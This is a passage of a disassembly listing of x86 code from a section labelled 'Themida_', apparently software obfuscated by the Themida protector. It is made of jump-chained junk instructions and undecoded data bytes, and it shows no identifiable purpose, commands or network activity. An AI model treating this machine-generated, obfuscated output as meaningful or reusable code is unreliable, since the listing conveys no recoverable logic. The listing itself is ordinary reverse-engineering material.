		dd 95E9585Ah, 0FF000114h, 34FF2434h, 123AE924h,	0C7000000h
		dd 32A7E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C17E:				; CODE XREF: Themida_:0056CAEAj
		shl	ebx, 5
		push	edi
		jmp	loc_56D54B
; ---------------------------------------------------------------------------
		dd offset dword_59EF68
		align 4
		dd 0BA241489h, 4, 9364E9h, 240C8900h, 9E93E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C1A1:				; CODE XREF: Themida_:00562064j
		pop	edx
		pop	edx
		shl	ebp, 2
		xor	ebp, 8C67C78h
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_55DF57
		push	18F5h
		jmp	loc_56BA22
; ---------------------------------------------------------------------------


loc_55C1C6:				; CODE XREF: Themida_:0056E443j
		mov	[esp], esi
		jmp	loc_56364E
; ---------------------------------------------------------------------------
		dw 0FF64h
		dd 0F37FE932h, 0C083FFFFh, 5FB46804h, 4890000h,	2474FF24h
		dd 48F5804h, 24248B24h,	5306E9C1h, 0CA168h, 240C8900h
		dd 0CA5E23B9h, 24448115h, 53132404h, 246C811Eh,	0BA7B7904h
		dd 244C0172h, 24448104h, 0BA7B7904h, 24685172h,	591E5313h
		dd 8244C29h, 240C8B59h,	237568h, 24348900h, 0FFF9C8E9h
		dd 0E9515FFFh, 6838h, 50242C89h, 0EA6A08B8h, 481502Ch
		dd 3B009724h, 242C8B1Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56D580
; ---------------------------------------------------------------------------
		dd 0FFF2ECE9h, 8BDF31FFh, 0EC83241Ch, 242C8904h, 0EFE9E589h
		dd 100007Ch, 1AE95AD6h,	8900001Dh, 0B8BA2414h, 813A0B68h
		dd 5D4987C2h, 0D2F74A1Ah, 2AEAEA81h, 0E4E96E10h, 0B3000121h
		dd 0FB2BE932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C2A6:				; CODE XREF: Themida_:0056181Bj
		push	ecx
		push	3BD16A17h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5699C8
; ---------------------------------------------------------------------------
		dw 0DEBFh
		dd 811D596Ah, 74FB73C7h, 6130E9E4h, 71680000h, 89000069h
		dd 0C0BA2414h, 216E8407h, 2F1CE9D3h, 48B0001h, 4C48124h
		dd 81000000h, 4ECh, 24348900h, 1E106FBEh, 6BB95118h, 31181E10h
		dd 0BA5259CEh, 76F9427Ch, 148BD029h, 4C48324h, 7C05F001h
		dd 5E76F942h, 8704C083h, 248B2404h, 0F233E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C322:				; CODE XREF: Themida_:0056436Bj
		xor	ecx, eax
		pop	eax
		neg	ecx
		xor	ecx, 0FBFECBDFh
		jmp	loc_56546D
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 4F02BD24h, 0EC833B1Eh, 0D082E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C342:				; CODE XREF: Themida_:0055FC22j
		sub	esi, 1EA527ECh
		add	esi, 2F185FAFh
		sub	esi, edx
		sub	esi, 2F185FAFh
		add	esi, 1EA527ECh
		pop	edx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	1FD8h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_56B47E
; ---------------------------------------------------------------------------
		db 33h
		dd 835C241Ch, 0C8904ECh, 0B0685224h, 0E9000024h, 25FAh
; ---------------------------------------------------------------------------


loc_55C38C:				; CODE XREF: Themida_:005698A0j
		shl	edi, 6
		or	edi, 70C446A7h
		or	edi, 58F272FCh
		jmp	loc_570668
; ---------------------------------------------------------------------------
		dd 5066DBF6h, 58E9F4B4h, 87000014h, 0E2E9243Ch
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_55C3B3:				; CODE XREF: Themida_:0055CBEBj
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55DD1C
; ---------------------------------------------------------------------------
		dd 148BD001h, 4C48124h,	0F7000000h, 0B9B951D8h,	56D6B0E9h
		dd 160C7FBEh, 3CDDE951h, 248B0000h, 24148B24h, 0F04C483h
		dd 34FFC0B6h, 122EE987h, 0CA810000h, 2AB86D66h,	0DD25EA81h
		dd 87E9B1CCh, 8100007Eh, 0AC08B0EDh, 67EE954h, 0CB800001h
		dd 2EC831Bh, 241C8966h,	0F6240486h, 535166D0h, 0FD88C788h
		dd 24448A5Bh, 246C8802h, 0E9596602h, 1058Bh, 24048F58h
		dd 0E6B0E9h, 0C8B6600h,	4EC8324h, 89242C89h, 4BB53E5h
		dd 81000000h, 12545BC5h, 81DD015Bh, 12545BEDh, 0E9505B5Bh
		dd 6B30h, 4BDh,	8BEE0100h, 0C483242Ch, 2030E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C47A:				; CODE XREF: Themida_:0055D887j
		add	ecx, 4B87248Eh
		not	ecx
		shr	ecx, 4
		push	eax
		jmp	loc_56A455
; ---------------------------------------------------------------------------


loc_55C48B:				; CODE XREF: Themida_:0055CB58j
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_5606FD
; ---------------------------------------------------------------------------
		db 5Ch,	29h, 0F0h
		dd 0AE71E9h, 57F32900h,	4E3CD9BFh, 0C44FE967h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C4AA:				; CODE XREF: Themida_:00564DD0j
		sub	ebx, edx
		jmp	loc_56E752
; ---------------------------------------------------------------------------
		db 1, 0F5h, 5Eh
		dd 8124148Bh, 4C4h, 4BA5200h, 1000000h,	24148BD5h, 4C481h
		dd 2C870000h, 24248B24h, 0E9E08950h, 354Dh
; ---------------------------------------------------------------------------


loc_55C4DC:				; CODE XREF: Themida_:005684CDj
		push	891h
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_560D76
; ---------------------------------------------------------------------------


loc_55C4F2:				; CODE XREF: Themida_:00561AE9j
		dec	edx
		not	edx
		push	esi
		mov	esi, 0A2FA9A3Fh
		xor	edx, esi
		jmp	loc_56EA00
; ---------------------------------------------------------------------------
a20Si		db '2$$0$$é‰Ï',0
		dd 66AD6600h, 666C9968h, 0E9243489h, 7C8h
; ---------------------------------------------------------------------------


loc_55C51C:				; CODE XREF: Themida_:0056E705j
		mov	[esp], edi
		mov	edi, 12CC43C6h
		jmp	loc_566504
; ---------------------------------------------------------------------------
aQsN		db 'Qé n',0
		db 0
; ---------------------------------------------------------------------------


loc_55C52F:				; CODE XREF: Themida_:005660C6j
		add	esp, 4
		jmp	loc_55F5A4
; ---------------------------------------------------------------------------


loc_55C53A:				; CODE XREF: Themida_:005683A8j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	eax, 4
		add	eax, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_561E2F
; ---------------------------------------------------------------------------
		dd 7BE95657h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55C573:				; CODE XREF: Themida_:00565294j
		add	edx, 3C5E1F12h
		add	edx, edi
		sub	edx, 3C5E1F12h
		push	esi
		mov	esi, 10127B5Ah
		add	edx, esi
		pop	esi
		push	ecx
		push	edi
		jmp	loc_56CA40
; ---------------------------------------------------------------------------
		db 0E9h, 0BFh, 0EFh
		dd 0C781FFFFh, 4, 4C781h, 3C870000h, 24248B24h,	4EC81h
		dd 2C890000h, 5E96BD24h, 0DD871F0Dh, 0DD87D3F7h, 0D1F3E945h
		dd 2C890000h, 7BEABD24h, 0EA017806h, 57C2815Dh,	14B3750h
		dd 19B951C2h, 810DD263h, 1C1h, 49E95200h, 5C00003Ch, 80B4E9h
		dd 4EF8B800h, 0C1E94CC5h, 0AC00004Ch, 0DA68D830h, 89000076h
		dd 0B7532414h, 5BFE88B2h, 0A2B35366h, 5B66D800h, 53665604h
		dd 0E9ABB050h, 16Ah, 8106EAC1h,	1EAh, 0D8BB5300h, 0E9747156h
		dd 17A9h, 0FF2434FFh, 0E9592434h, 2240h
; ---------------------------------------------------------------------------


loc_55C63C:				; CODE XREF: Themida_:0056B4BAj
		sub	[esp+8], ebp
		pop	ebp
		sub	[esp+4], esi
		add	dword ptr [esp+4], 4CD40B34h
		jmp	loc_56908D
; ---------------------------------------------------------------------------


loc_55C652:				; CODE XREF: Themida_:0056F14Ej
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_56AD7F
; ---------------------------------------------------------------------------
		dd 815A5452h, 4C2h, 4EA8300h, 5C241487h, 0E9242C89h, 0B022h
		dd 0D668F1F7h, 89000019h, 8950240Ch, 405E0h, 0E8830000h
		dd 24048704h, 2424895Ch, 4B951h, 0CCE90000h
		db 0B3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C69B:				; CODE XREF: Themida_:0056EC0Ej
		xor	edi, ebp
		not	ebp
		push	edi
		push	ebp
		jmp	loc_5648BF
; ---------------------------------------------------------------------------
		dw 5D68h
		dd 8900001Eh, 5954240Ch, 39A768h, 242C8900h, 4EC81h, 0B7E90000h
		dd 21000113h, 24048BC7h, 0E699E9h, 4C48300h, 804AC180h
		dd 0F1007EE9h, 98F0E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C6DE:				; CODE XREF: Themida_:00567DADj
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_569690
; ---------------------------------------------------------------------------
		db 0BEh
		dd 44B2BC5h, 5D4AE94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C6FA:				; CODE XREF: Themida_:0056CB30j
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], edx
		push	4186h
		mov	[esp], edi
		jmp	loc_56F675
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 80D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C719:				; CODE XREF: Themida_:0055F01Aj
		push	ebp
		mov	ebp, 796D1819h
		add	ecx, ebp
		jmp	loc_56551D
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 0FC72D3Bh, 52243C8Bh, 0C2815A54h, 4,	4C281h,	0CFE90000h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C743:				; CODE XREF: Themida_:00566E41j
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		dd 0B652665Ah, 66F0303Fh, 90B2525Ah, 85AD030h, 0B25258C7h
		dd 0E9DAF643h, 955Fh, 0B2C9E95Ah, 0D1F70000h, 5602E1C1h
		dd 464AADBEh, 0AF1CE979h, 0C0FE0000h, 0C788C904h, 66F80058h
		dd 81F0285Bh, 4ECh, 241C8900h, 0D82875B3h, 8F0E95Bh
		db 1, 0
; ---------------------------------------------------------------------------


loc_55C7A6:				; CODE XREF: Themida_:0055BD7Cj
		xor	ebx, 9ADA851Ah
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		jmp	loc_56EAFD
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF240C89h, 59042474h, 0E924048Fh, 777h, 0E959EF88h
		dd 135B9h, 5556E389h, 0CD2AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C7D9:				; CODE XREF: Themida_:00565686j
		pop	ecx
		neg	ebx
		inc	ebx
		jmp	loc_562A90
; ---------------------------------------------------------------------------


loc_55C7E2:				; CODE XREF: Themida_:0056F568j
		pop	ebx
		add	ah, 18h
		sub	ah, 17h
		shr	ah, 5
		jmp	loc_568435
; ---------------------------------------------------------------------------
		db 0B8h, 88h, 54h
		dd 0C3891919h, 0A4CB8158h, 43366272h, 6265C381h, 0BF57632Ah
		dd 5D5A26F2h, 2CDC381h,	0FB013F6Fh, 2CDEB81h, 6DE93F6Fh
		dd 8B00013Ch, 0C4812414h, 4, 14E968h, 0A7D1E900h, 0EB290000h
		dd 81D3F75Dh, 52DA9EBh,	0F9C38108h, 0E9E2E378h,	3AA4h
		dd 7D08CA81h, 814A628Ch, 0F8AC55EAh, 5AD10177h,	5CC18149h
		dd 0E92AF22Ah, 0FD1Dh
; ---------------------------------------------------------------------------


loc_55C864:				; CODE XREF: Themida_:00568586j
		push	eax
		jmp	loc_569210
; ---------------------------------------------------------------------------
		dw 814Dh
		dd 0FFFFFFC5h, 81D5F7FFh, 19C7E1F5h, 8BEA31FDh,	0C481242Ch
		dd 4, 5558C681h, 0D6010846h, 0F04B850h,	0EAE91033h, 5C00003Fh
		dd 83240C89h, 0CFE904ECh
		db 0C6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C8A3:				; CODE XREF: Themida_:00564E4Bj
		neg	bh
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0D8h
		jmp	loc_56CBB2
; ---------------------------------------------------------------------------


loc_55C8B2:				; CODE XREF: Themida_:00565240j
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_560DEB
; ---------------------------------------------------------------------------
		db 59h
		dd 2414F756h, 0CF98E9h,	0D8885000h, 8858C288h, 9329E9D1h
		dd 48F0000h, 4DABE924h,	0E9510000h, 0E7B5h, 0D15AD789h
		dd 81D7F7EFh, 0A492FF7h, 0FFFE09FEh, 815F2434h,	4C4h, 1EE8100h
		dd 57000000h, 0D44C0DBFh, 54C78114h, 81307372h,	6B40C9CFh
		dd 0F9E94F1Bh, 57000072h, 10993E9h, 24048F00h, 63A6E95Ch
		dd 0F3010000h, 4EB835Eh, 5C241C87h, 68241489h, 30AC0A62h
		dd 874DE95Ah, 0FF530000h, 5B042474h, 8B24048Fh,	0C8842424h
		dd 5209E99Ch, 0C4830000h, 0BE565704h, 3345B29h,	0F681EED1h
		dd 623D4563h, 2090C681h, 0C6812C82h, 0A43FF31Ah, 0E95EF789h
		dd 11BF9h, 0A81CF381h, 8EE90D0Ah, 0BF00012Bh, 79ED42C9h
		dd 3C8BF889h, 4C48324h,	4520EC35h, 4E8C145h, 3FE95251h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C9AF:				; CODE XREF: Themida_:00560752j
		not	eax
		xchg	eax, [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_563622
; ---------------------------------------------------------------------------
		dw 665Ch
		dd 9C240CD3h, 0FFEB88E9h, 89E95DFFh
		db 20h,	1, 0
; ---------------------------------------------------------------------------


loc_55C9D3:				; CODE XREF: Themida_:0056BC33j
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56F043
; ---------------------------------------------------------------------------
		db 58h
		dd 0FA7AE955h, 49BEFFFFh, 895D3E4Dh, 15E95EF7h,	83000045h
		dd 0EC8304C4h, 31F3E904h, 24890001h, 4303E924h,	14310000h
		dd 24143324h, 8824248Bh, 24048BC7h, 81E38953h, 4C3h, 0C389E900h
		dd 58540000h, 405h, 4EC8100h, 89000000h, 3268241Ch, 8B4F8E14h
		dd 0C481241Ch, 4, 4303E3C1h, 0A193F381h, 0BE567C70h, 4EE4C71h
		dd 295EF001h, 4EC83D8h,	0E9241C89h, 0B4ADh, 8A868h, 24348900h
		dd 0FC5387BEh, 5EF72113h, 3A20E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CA7D:				; CODE XREF: Themida_:00563EFBj
		inc	ebx
		neg	ebx
		dec	ebx
		add	ebx, 1D49287Ah
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_56186F
; ---------------------------------------------------------------------------


loc_55CA99:				; CODE XREF: Themida_:005616BDj
		sub	edi, 0ECBF6E7Ch
		jmp	loc_55DCDE
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 4185866h,	0CCE99C24h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CAB3:				; CODE XREF: Themida_:0056E7CFj
		add	ebp, 4
		jmp	loc_55D77A
; ---------------------------------------------------------------------------
		dw 0DE00h
		dd 0F49BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55CAC5:				; CODE XREF: Themida_:0056ACBBj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_570536
		push	edx
		sub	esp, 4
		jmp	loc_56810C
; ---------------------------------------------------------------------------


loc_55CAD8:				; CODE XREF: Themida_:0056EF0Dj
		push	esi
		jmp	loc_55E931
; ---------------------------------------------------------------------------


loc_55CADE:				; CODE XREF: Themida_:00562915j
		mov	eax, 4
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 15065144h
		jmp	loc_562D80
; ---------------------------------------------------------------------------


loc_55CB01:				; CODE XREF: Themida_:0056492Dj
		xor	esi, eax
		xor	eax, esi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_56EF3F
; ---------------------------------------------------------------------------


loc_55CB22:				; CODE XREF: Themida_:0056353Cj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		jmp	loc_56D17D
; ---------------------------------------------------------------------------


loc_55CB51:				; CODE XREF: Themida_:00569943j
		sub	ecx, 2C123F07h
		pop	eax
		jmp	loc_55C48B
; ---------------------------------------------------------------------------
		db 68h,	60h, 2Ah
		dd 34890000h, 779D6824h, 9BE97486h, 890000B0h, 0DCBF243Ch
		dd 47386E7Eh, 7D8E781h,	0EF8114C9h, 504B4CEAh, 0F74EF787h
		dd 55F787D6h, 3299E9h, 0EEC16600h, 0BF665702h, 4F660948h
		dd 0FFEF24E9h, 34AEBBFFh, 0DBF709D7h, 1000E381h, 0CB817163h
		dd 0D92624Dh, 2E3C14Bh,	356EE9h, 4EC8100h, 89000000h, 0FF54241Ch
		dd 1C8B2434h, 4C48324h,	0E9E08950h, 13435h, 0B91E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CBDE:				; CODE XREF: Themida_:0056A130j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_55C3B3
; ---------------------------------------------------------------------------
a34Scx		db '34$éæå',0
		align 4
		dd 0C480ECD0h, 82EC8011h, 0A5E9ECD0h, 30000BFh,	8374E903h
		dd 815F0000h, 1E4C7DC6h, 20BF5700h, 1475015h, 1A29E9FEh
		dd 895C0001h, 74FF2434h, 0E95E0424h, 284Ch, 0C0D2B753h
		dd 0EF8002EFh, 5BF930EFh, 14F65166h, 80596624h,	0CE0873E9h
		dd 1DC1E9h, 0BAEA8100h,	2978AF7Fh, 0FB16E9D3h, 865BFFFFh
		dd 94E952D1h, 330000FBh, 8E92434h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CC6B:				; CODE XREF: Themida_:00561A72j
		add	ebp, 648D2B60h
		shr	ebp, 6
		xor	ebp, 47815331h
		mov	ebx, ebp
		jmp	loc_56922B
; ---------------------------------------------------------------------------


loc_55CC81:				; CODE XREF: Themida_:005637D6j
		xor	eax, ecx
		jmp	loc_5669C0
; ---------------------------------------------------------------------------
aYbiUchsr	db 'Yë',0Bh,'$žchér',0
		align 4
aI4HSSes	db '‰4$h¹,á!^é¥é',0
		align 2
		dw 4BB0h
		dd 51C68852h, 316E9h, 240C8900h, 4B9h, 246C8100h, 0D7344004h
		dd 244C017Eh, 0BD09E904h, 248B0000h, 148B6624h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 0A841A9Eh
		xor	edx, 6C77598Eh
		jmp	loc_563293
; ---------------------------------------------------------------------------
		dd 0BF665766h, 89661C40h, 665F66FEh, 66136205h,	662F4605h
		dd 2D66F001h, 6CE92F46h
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CD03:				; CODE XREF: Themida_:00568E6Ej
		dec	bl
		jmp	loc_56F55D
; ---------------------------------------------------------------------------
		dw 1489h
		dd 46824h, 148B0000h, 4C48324h,	0EC80E9h, 81435900h, 0BE2C21CBh
		dd 0E9DBF76Eh, 12E0Dh, 4DE9F529h, 6800011Bh, 0B82h, 81242489h
		dd 42404h, 5580000h, 4,	1133AE9h, 0CBC28100h, 81483C01h
		dd 0CE5525F2h, 515EE961h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CD5E:				; CODE XREF: Themida_:00570759j
		xor	edi, edx
		xor	edx, edi
		jmp	loc_55FD73
; ---------------------------------------------------------------------------
		db 81h
		dd 623396C7h, 4FEFD12Ch, 7A2BB951h, 0E8E907F0h
		db 0C9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CD7B:				; CODE XREF: Themida_:0056BD89j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55B806
; ---------------------------------------------------------------------------
		db 68h
		dd 3E78h, 81241C89h, 1242Ch, 0E95B0000h, 91EFh
; ---------------------------------------------------------------------------


loc_55CDB0:				; CODE XREF: Themida_:0055DC6Bj
		add	ecx, ebp
		jmp	loc_55BE91
; ---------------------------------------------------------------------------
		db 81h
		dd 1F76EBE9h, 14F7515Dh, 2404FF24h, 81240C8Bh, 4C4h, 81E1D100h
		dd 0F5ADCEC1h, 0D1C781D0h, 16EF34Ch, 0D1EF81CFh, 8B6EF34Ch
		dd 0C483240Ch, 2B95104h, 0E9000000h, 7CD3h, 148BD689h
		dd 4C48124h, 1000000h, 0E9815EF1h, 4, 2474FF51h, 0F9E95904h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CE13:				; CODE XREF: Themida_:0056EE79j
		add	ecx, 4
		jmp	loc_568CD9
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 12B68h, 242C8900h, 468h, 0C3815D00h, 47DA7F8Eh, 3E58C381h
		dd 0EB017B67h, 3E58BA52h, 0D3297B67h, 8EEB815Ah, 0FF47DA7Fh
		dd 505D2434h, 75E95854h
		db 0Ah,	1, 0
; ---------------------------------------------------------------------------


loc_55CE5B:				; CODE XREF: Themida_:0055F8E2j
		and	ebp, 36A03B49h
		push	57Fh
		mov	[esp], eax
		mov	eax, 56AC08D2h
		inc	eax
		shl	eax, 7
		jmp	loc_564420
; ---------------------------------------------------------------------------
		db 52h
		dd 0EE8034B6h, 5AF02818h, 0C628112Ch, 27CE8058h, 0B3A6EE80h
		dd 5AF330F4h, 6F6D6866h, 24048966h, 0EB80A1B0h,	0A50BE904h
		dd 0B9510000h, 7CF82D45h, 0F0E9C801h, 8300006Ah, 0DEE9FFE9h
		dd 810000D0h, 0BE4230E9h, 59CA0100h, 6D02E950h,	0E8310000h
		dd 0E9C7015Dh, 10660h
; ---------------------------------------------------------------------------


loc_55CED0:				; CODE XREF: Themida_:00567A0Aj
		or	edx, 65620970h
		xor	edx, 24212C3Dh
		jmp	loc_56F8CA
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0F4h
		dd 564FB859h, 4D4AC1BEh, 81D6F727h, 0E716B9E6h,	0F3E6811Dh
		dd 81131D41h, 0A87ADBF6h, 5EF30127h, 0EB81FB01h, 37A87AEBh
		dd 81243C8Bh, 4C4h, 4EC8300h, 0BF243C89h, 41A43025h, 0E9A4E94Fh
		dd 7ABAFFFFh, 81002C2Ah, 2C2A7EF2h, 5AD60100h, 4EE81h
		dd 0FDE90000h, 8B00009Fh, 28E92424h
		db 0C6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CF47:				; CODE XREF: Themida_:005625D2j
		push	2463h
		jmp	loc_55FDD4
; ---------------------------------------------------------------------------
		dd offset dword_457444+29424h
		align 2
		dw 489h
		dd 5E08924h, 4,	0A4BA5251h, 0F72AD246h,	8FF281DAh, 813B7C56h
		dd 533E08CAh, 0DFF2814Ch, 89EE53FFh, 0EB5AE9D1h, 5954FFFFh
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 32FFFA01h,	0F7243481h
		dd 0E90D4623h, 9CE6h, 8145D5F7h, 0CD66DF5h, 5DE9218Fh
		dd 8904EC83h, 68562404h, 59630440h, 0B9E94E5Eh,	880000B0h
		dd 0E9CB88F1h, 0FFFFF197h, 30241432h, 0C8B2414h, 4C48324h
		dd 325368h, 24048900h, 8904EC83h, 0CA882414h, 11105E9h
		dd 24048100h, 4, 4C3815Bh, 56000000h, 0AC29A4BEh, 86E95123h
		dd 0BE00010Fh, 4, 7DD5E9h, 4CF28000h, 73CDE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D019:				; CODE XREF: Themida_:0056D991j
		mov	esi, ebp
		pop	ebp
		sub	ebp, 31DD2D78h
		add	ebp, esi
		add	ebp, 31DD2D78h
		pop	esi
		xor	ebp, [esp]
		jmp	loc_56F5C4
; ---------------------------------------------------------------------------


loc_55D033:				; CODE XREF: Themida_:005616F2j
		sub	eax, 0E83FE8EEh
		sub	ecx, eax
		jmp	loc_567E53
; ---------------------------------------------------------------------------


loc_55D03F:				; CODE XREF: Themida_:00563476j
		add	ebx, ebp
		pop	ebp
		jmp	loc_55BA37
; ---------------------------------------------------------------------------
		db 89h
		dd 63BD242Ch, 55275B30h, 696544BDh, 6EDC16Bh, 135FBE9h
		dd 1AE95200h, 680000DEh, 1CB9h,	0FFF2C5E9h, 3EE95CFFh
		dd 81000034h, 0AA057BC6h, 5EF72174h, 0EF81D7F7h, 0BBF1B15Dh
		dd 0FFEE62E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D089:				; CODE XREF: Themida_:00562300j
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_565F8E
; ---------------------------------------------------------------------------
		db 0BAh
		dd 689F5380h, 148BD631h, 4C48324h, 63C4EE81h, 565526BCh
		dd 0CD2B83BEh, 8BF5896Fh, 0C4812434h, 4, 0EA60C581h, 0E829C7CFh
		dd 5F0015Dh, 379D15E3h,	8324348Bh, 0C33104C4h, 24148B66h
		dd 638A68h, 243C8900h, 0E904EC83h, 0F935h, 0C381DBF7h
		dd 3EA505FFh, 124DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D0F1:				; CODE XREF: Themida_:005700EDj
		push	eax
		mov	ah, dh
		mov	cl, ah
		pop	eax
		pop	edx
		add	al, cl
		mov	cx, [esp]
		add	esp, 2
		push	474Ah
		jmp	loc_5706B9
; ---------------------------------------------------------------------------
aRsu		db 'Ré“Ú',0
		db 0
; ---------------------------------------------------------------------------


loc_55D111:				; CODE XREF: Themida_:0056DD58j
		mov	cl, 2Dh
		mov	bh, cl
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_565C80
; ---------------------------------------------------------------------------


loc_55D120:				; CODE XREF: Themida_:00562CBBj
		push	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5602E0
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 5304C483h, 365E6CBBh, 5BD82918h, 0BE56F029h,	18365E6Ch
		dd 0BA73E9h, 243C8B00h,	11A44E9h, 6C136800h, 24890000h
		dd 11E95624h
		db 0B3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D15F:				; CODE XREF: Themida_:0055E762j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, edx
		jmp	loc_56CD48
; ---------------------------------------------------------------------------
		dw 489h
		dd 2474FF24h, 96C7E904h, 2C890000h, 2C8B5424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 4
		push	0EF9h
		jmp	loc_55F689
; ---------------------------------------------------------------------------


loc_55D1A8:				; CODE XREF: Themida_:0056037Bj
		push	dword ptr [esp]
		pop	edx
		push	28D1h
		mov	[esp], ebp
		push	esp
		jmp	loc_56ABC2
; ---------------------------------------------------------------------------


loc_55D1BA:				; CODE XREF: Themida_:00567F3Dj
		mov	ecx, 0BFBCCCB1h
		mov	edi, ecx
		pop	ecx
		jmp	loc_55D493
; ---------------------------------------------------------------------------
		dd offset dword_595A04
		db 0D8h
		dd 98FDE953h, 148B0000h, 4C48124h, 80000000h, 0C8303CE9h
		dd 56240C8Bh, 0C681E689h, 4, 4C681h, 34870000h,	51665C24h
		dd 0FFE8FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D1FD:				; CODE XREF: Themida_:005695EEj
		mov	[esp], edx
		mov	edx, 0
		jmp	loc_560736
; ---------------------------------------------------------------------------


loc_55D20A:				; CODE XREF: Themida_:0055E364j
		xor	ecx, 4F4311AAh
		sub	esi, ecx
		pop	ecx
		jmp	loc_56C315
; ---------------------------------------------------------------------------
		dd 4BDh, 5DE80100h, 5C240487h, 88A5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D229:				; CODE XREF: Themida_:00569B1Fj
		mov	edx, [esp]
		push	eax
		jmp	loc_55DB24
; ---------------------------------------------------------------------------


loc_55D232:				; CODE XREF: Themida_:0055FC1Cj
